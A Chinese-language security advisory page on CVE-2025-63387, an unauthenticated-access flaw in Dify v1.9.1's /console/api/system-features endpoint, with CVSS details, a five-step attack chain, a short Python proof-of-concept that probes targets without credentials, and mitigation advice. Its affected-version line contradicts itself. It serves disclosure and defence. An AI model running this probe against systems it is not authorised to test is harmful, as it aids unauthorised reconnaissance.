IPBUF安全漏洞报告
English
CVE-2025-63387 CVSS 7.5 高危

CVE-2025-63387 Dify v1.9.1 /console/api/system-features 未授权访问漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-63387
漏洞类型
未授权访问/权限控制缺陷
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dify

相关标签

未授权访问权限控制缺陷CVE-2025-63387Dify信息泄露高危漏洞API安全

漏洞概述

CVE-2025-63387是Dify v1.9.1版本中的一个权限控制缺陷漏洞。该漏洞存在于系统的/console/api/system-features端点,由于该端点缺少适当的授权检查机制,导致未经身份验证的远程攻击者可以直接通过HTTP GET请求访问该接口,无需提供任何认证凭证或会话令牌。攻击者利用此漏洞可以获取敏感的系统配置数据,可能包括系统功能特性、配置参数等信息。虽然Dify维护者声明该端点是设计为无需认证的,用于仪表板初始化引导,但这种设计使得系统暴露于潜在的安全风险之下。攻击者可以通过自动化工具批量扫描和探测此类端点,收集系统信息用于进一步的攻击活动。该漏洞的CVSS评分为7.5,属于高危级别,对系统机密性造成较高影响。

技术细节

漏洞位于Dify应用程序的/console/api/system-features端点。在正常的Web应用程序架构中,这类端点通常需要用户完成身份验证并建立有效会话后才能访问,服务器端会通过中间件或装饰器验证请求头中的session token或JWT token。然而,Dify v1.9.1版本中该端点缺少了权限验证逻辑,允许匿名用户直接访问。当攻击者构造如下HTTP请求时:GET /console/api/system-features HTTP/1.1 Host: target.com 服务器会直接返回系统功能配置数据,包括但不限于功能开关状态、系统参数设置等信息。攻击者可以利用返回的信息了解目标系统的功能特性,为后续的定向攻击提供情报支持。此外,攻击者还可以通过分析返回的JSON数据结构,识别系统版本和配置信息,这些信息可能有助于发现其他关联漏洞。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标Dify实例,探测/console/api/system-features端点的可访问性
STEP 2
步骤2
漏洞探测:构造HTTP GET请求直接访问/console/api/system-features端点,无需携带任何认证信息
STEP 3
步骤3
数据获取:服务器返回200状态码和JSON格式的系统功能配置数据,攻击者成功获取敏感信息
STEP 4
步骤4
情报分析:攻击者分析返回的数据结构,提取系统版本、功能开关、配置参数等信息
STEP 5
步骤5
后续攻击:利用收集的情报信息,结合其他漏洞或配置弱点进行进一步的攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-63387 PoC - Unauthenticated access to /console/api/system-features # Target: Dify v1.9.1 def check_vulnerability(target_url): """ Check if the target Dify instance is vulnerable to CVE-2025-63387 """ # Construct the vulnerable endpoint URL endpoint = "/console/api/system-features" url = target_url.rstrip('/') + endpoint print(f"[*] Testing target: {url}") # Send unauthenticated GET request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*' } try: response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Content-Type: {response.headers.get('Content-Type', 'N/A')}") if response.status_code == 200: # Check if we received JSON data (indicating successful unauthorized access) try: data = response.json() print(f"[+] VULNERABLE! Received {len(str(data))} bytes of data without authentication") print(f"[+] Response preview: {str(data)[:500]}...") return True except: print(f"[!] Received non-JSON response but status 200") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] NOT VULNERABLE - Endpoint requires authentication") return False else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL (e.g., http://target.com): ").strip() vulnerable = check_vulnerability(target) if vulnerable: print("\n[RESULT] Target is VULNERABLE to CVE-2025-63387") print("[INFO] The /console/api/system-features endpoint allows unauthenticated access") else: print("\n[RESULT] Target may NOT be vulnerable or endpoint not found")

影响范围

Dify < 1.9.1 (v1.9.1本身存在漏洞)

防御指南

临时缓解措施
临时缓解措施:在Web服务器(如Nginx)配置中添加访问控制规则,限制对/console/api/system-features端点的访问来源;或者通过防火墙规则限制外部网络对Dify控制台API的直接访问;建议同时启用详细的访问日志监控,以便及时发现和响应异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表